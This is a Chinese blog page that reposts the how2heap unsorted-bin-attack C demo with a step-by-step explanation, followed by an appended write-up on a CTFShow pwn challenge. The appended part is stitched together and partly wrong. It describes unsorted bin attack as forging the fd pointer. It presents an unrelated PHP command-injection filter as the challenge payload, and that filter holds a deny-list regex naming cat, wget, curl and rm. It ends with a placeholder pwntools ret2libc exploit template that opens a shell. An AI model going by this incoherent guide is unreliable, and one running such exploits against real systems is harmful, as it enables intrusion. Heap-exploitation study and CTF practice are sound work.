13.unsorted_bin_attack

源代码

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 
 4 int main(){
 5     fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
 6     fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
 7            "global variable global_max_fast in libc for further fastbin attack\n\n");
 8 
 9     unsigned long stack_var=0;
10     fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
11     fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
12 
13     unsigned long *p=malloc(400);
14     fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
15     fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
16            "the first one during the free()\n\n");
17     malloc(500);
18 
19     free(p);
20     fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
21            "point to %p\n",(void*)p[1]);
22 
23     //------------VULNERABILITY-----------
24 
25     p[1]=(unsigned long)(&stack_var-2);
26     fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
27     fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
28 
29     //------------------------------------
30 
31     malloc(400);
32     fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
33            "rewritten:\n");
34     fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
35 }

 

 运行结果

 

首先在栈上申请了一个unsigned long类型的数var

接着申请了400字节的堆p,再申请一个500堆,防止p释放后和top chunk合并

然后释放p,p进入unsort bin

可以看到此时p的bk值为0x7ffff7dd1b78

将其改为var往低地址偏移16字节处

其实就是将var所在空间视为一个堆fake

var所在8字节即为fake数据部分前8字节

然后再次申请400字节内存,这次将分配已释放的p的空间

而p的bk所指的var的值会被修改为0x7ffff7dd1b78(这是值永远是main_arena+88)

是一个很大的unsigned long值

 

转载于:https://www.cnblogs.com/pfcode/p/10994400.html

### CTFShow PWN 第20题 解题思路 #### 背景介绍 CTFShow平台上的PWN题目通常涉及内存破坏漏洞的利用,例如缓冲区溢出、堆漏洞等。对于第20题,其核心在于理解并应用特定的堆漏洞技术来完成挑战。 #### 技术分析 根据已知信息[^2],此题可能涉及到以下几种常见的堆漏洞攻击方式: - **Fastbin Double Free**: 这种攻击允许攻击者通过两次释放同一个chunk来控制程序的行为。 - **Unsorted Bin Attack**: 攻击者可以通过伪造fd指针的方式,在unsorted bin中插入恶意数据结构,从而实现任意地址写入。 - **House of Spirit**: 利用未初始化的chunk大小字段,使得malloc返回一个不存在于heap中的地址。 - **Use After Free (UAF)**: 当对象被释放后仍然访问它时可能导致的安全问题。 此外,还需要注意的是libc基址泄漏以及如何稳定获取shell等问题。在此过程中,《IO_2_1_stdout》可以用来泄露出libc的具体位置。 #### Payload 构造 针对此类问题,构造合适的payload至关重要。下面给出了一段基于PHP脚本过滤器绕过的payload示例[^3]: ```php <?php if(isset($_GET['c'])){ $c = $_GET['c']; if (!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); } ?> ``` 上述代码片段展示了服务端对输入命令进行了严格正则匹配限制的情况下的payload设计方法之一。实际操作中需结合具体环境调整参数值以适应不同场景需求。 #### Python 实现示例 以下是使用Python编写的一个简单自动化exploit工具框架作为参考: ```python from pwn import * context.log_level='debug' def exploit(): io = remote('target_ip', target_port) # Leak libc address io.sendlineafter(b'> ', b'option_to_leak_libc') leaked_data = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) log.success(f"Leaked Libc Base Address: {hex(leaked_data)}") # Calculate offsets and prepare payload system_addr = leaked_data + offset_system # Replace with actual calculated value bin_sh_addr = leaked_data + offset_binsh # Replace with actual calculated value payload = flat([ cyclic(512), # Adjust size according to buffer length p64(system_addr), p64(0xdeadbeef), # Placeholder for return address alignment p64(bin_sh_addr) ]) io.sendline(payload) io.interactive() if __name__ == '__main__': exploit() ``` 请注意以上仅为模板性质代码,真实环境中需要依据具体情况修改相应变量名及其数值等内容后再运行测试效果最佳。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值